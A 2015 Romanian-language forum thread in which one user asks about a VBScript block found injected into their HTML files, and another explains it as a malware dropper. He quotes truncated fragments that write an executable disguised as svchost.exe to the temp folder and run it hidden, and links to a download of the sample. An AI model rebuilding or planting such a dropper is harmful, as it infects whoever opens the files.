Maximus Posted June 19, 2015 Report Posted June 19, 2015 (edited) FSO.GetSpecialFolder(2) = Temporary FolderDropFileName = "svchost.exe" == temp/svchost.exeWriteData = "4D5A900003000000.... = exeleadica : https://www.sendspace.com/file/h3a0caadica : https://www.virustotal.com/en/file/e8452f0b8c328b8737d3244729cfb9b5e4295167bfda075b2679c0c9978ab631/analysis/CAUTION !sterge FSO.GetSpecialFolder(2) & "\" &siSet WSHshell = CreateObject("WScript.Shell")WSHshell.Run DropPath, 0si ruleaza-l singur sa vezi ce iti daDin cate stiu ala-i un proces de la windows, care are treaba cu netul (daca-l inchid raman fara net )What is svchost.exe And Why Is It Running? Edited June 19, 2015 by Maximus Quote
m@mb@ Posted June 19, 2015 Report Posted June 19, 2015 Salut rst.Am observat, ca dupa ce fac un fisier html, si il deschid imi apare asta in el <SCRIPT Language=VBScript><!--DropFileName = "svchost.exe".....ce e?si ce treaba are asta cu svchost?Din cate stiu ala-i un proces de la windows, care are treaba cu netul (daca-l inchid raman fara net )nu ar trebui sa fii asa "fericit" un search pe google ar fi raspuns la intrebarea ta - ia de aici Quote